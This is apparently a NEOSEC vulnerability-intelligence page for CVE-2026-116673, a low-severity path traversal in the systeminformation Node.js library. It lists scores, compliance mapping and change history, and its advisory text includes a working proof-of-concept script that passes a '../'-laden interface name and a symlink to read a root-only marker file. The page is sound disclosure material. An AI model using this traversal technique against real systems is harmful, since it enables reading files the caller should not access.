Sebhildebrandt Systeminformation: Path Traversal (CVE-2026-116673)
Published Last modified Sources: OSV, Hersteller, CVE.org
What is affected, what to do
Update Sebhildebrandt Systeminformation to version 5.33.14.
- Affected
- Sebhildebrandt Systeminformation
lt *..5.33.14
- Sebhildebrandt Systeminformation
- Fixed in
- Sebhildebrandt Systeminformation
5.33.14
- Sebhildebrandt Systeminformation
Not sure whether and how you are affected? Ask a question about this vulnerability
Metrics
3.3
Priority
XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.
Source: Vendor (CNA), CVSS v3
3.3
CVSS v3
Severity Low on the scale from 0 to 10.
Source: OSV, Hersteller, CVE.org
0.1 %
EPSS score
Low — model estimates < 1% exploitation likelihood.
Source: FIRST EPSS, percentile 2.4
Show all metrics
- Severity
- Low
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 46.54 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
XIEM Effective CVSS
XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.
Read in glossary- 3.3 Methodology
CVSS v3
CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.
Read in glossary- 3.3
EPSS score
The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.
Read in glossary- 0.1 %
- Low — model estimates < 1% exploitation likelihood.
EPSS percentile
The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.
Read in glossary- 2.4
- Low — this CVE sits in the lower 10% of all CVEs scored today.
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
- CISA assessment (SSVC)
- Exploitation: none known · not automatable · Technical impact: partial
- Source: CISA Vulnrichment, as of 28 October 2026
CWE
CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.
Read in glossary- CWE-22, CWE-59
Detection rules
No NEOSEC detection rule is available for this vulnerability yet.
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- Handle the vulnerability in regular vulnerability handling under Art. 21(2)(e) NIS2.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
Summary
On Linux, systeminformation@5.33.13 builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.
Details
The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.
The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.
PoC
Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:
mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install systeminformation@5.33.13
Save the following as poc.cjs in that directory, then run sudo node poc.cjs:
'use strict';
const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');
const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
const fs = require('node:fs');
const root = process.env.SI_FIXTURE_ROOT;
const secret = process.env.SI_SECRET;
fs.mkdirSync(root + '/statistics', { recursive: true });
for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
fs.writeFileSync(root + '/statistics/' + name, '0\\n');
}
fs.symlinkSync(secret, root + '/operstate');
`;
(async () => {
try {
fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
fs.chmodSync(secret, 0o600);
execFileSync('runuser', [
'-u', 'nobody', '--', 'env',
`SI_FIXTURE_ROOT=${root}`,
`SI_SECRET=${secret}`,
process.execPath, '-e', fixtureCode
], { stdio: 'inherit' });
let nobodyCouldRead = true;
try {
execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
} catch {
nobodyCouldRead = false;
}
if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');
const iface = '../'.repeat(24) + root.slice(1);
const rows = await si.networkStats(iface);
const returned = String(rows[0]?.operstate ?? '').trim();
const success = returned === marker;
console.log(JSON.stringify({
nobodyCouldRead,
libraryReturnedRootOnlyMarker: success,
returnedOperstate: returned
}, null, 2));
if (!success) process.exitCode = 1;
} finally {
fs.rmSync(root, { recursive: true, force: true });
fs.rmSync(secret, { force: true });
}
})().catch((error) => {
console.error(error);
process.exitCode = 1;
});
Expected result:
{
"nobodyCouldRead": false,
"libraryReturnedRootOnlyMarker": true,
"returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}
Impact
The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.
Source: OSV (Open Source Vulnerabilities), GitHub Security Advisories, cvelistv5, NVD (NIST)
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| sebhildebrandt | systeminformation |
|
|
| npm | systeminformation |
|
|
Vendors and products
Weakness classes (CWE)
CWE-22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Base
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Entry at MITRE CWE-22CWE-59Improper Link Resolution Before File Access ('Link Following')
Base
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
Entry at MITRE CWE-59
References & sources
- github.comsebhildebrandt/systeminformation/commit/8d294b3139fec654a912969…x_refsource_MISC, web
- github.comsebhildebrandt/systeminformation/releases/tag/v5.33.14x_refsource_MISC, web
- github.comsebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-…x_refsource_CONFIRM, web
- NVD (NIST)vuln/detail/CVE-2026-116673advisory
- github.comsebhildebrandt/systeminformationpackage
Changes to this CVE
Who changed this CVE and when: NVD (analysis, affected products, CVSS), the CVE publisher (CNA) and additional providers such as CISA (ADP).
Record modifiedCISA ADP
CISA assessment (SSVC): exploitation: none known, automatable: no
Show the original change
Individual changes of this event as published by NVD Type Action Before After SSVC assessment added —{"id":"CVE-2026-116673","role":"CISA Coordinator","options":[{"exploitation":"none"},{"automatable":"no"},{"technicalImpact":"partial"}],"version":"2.0.3","timestamp":"2026-10-28T14:34:17.124091Z"}Source identifier: 134c704f-9b21-4f2e-91b3-4a467353bcc0
ReceivedGitHub
CVSS V3.1: AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness type: CWE-22, CWE-59
Description added or changed
Show 8 original changes
Individual changes of this event as published by NVD Type Action Before After Description added —systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.CVSS added —AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NWeakness type (CWE) added —CWE-22Weakness type (CWE) added —CWE-59Affected versions (publisher) added —New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/116xxx/CVE-2026-116673.json">CVE-2026-116673</a>Reference added —https://github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cdReference added —https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14Reference added —https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4gSource identifier: security-advisories@github.com
Embed badge
Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.
<a href="https://intel.neosec.eu/en/cve/CVE-2026-116673"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-116673.svg?lang=en" alt="CVE-2026-116673 – NEOSEC Intel" height="20"></a>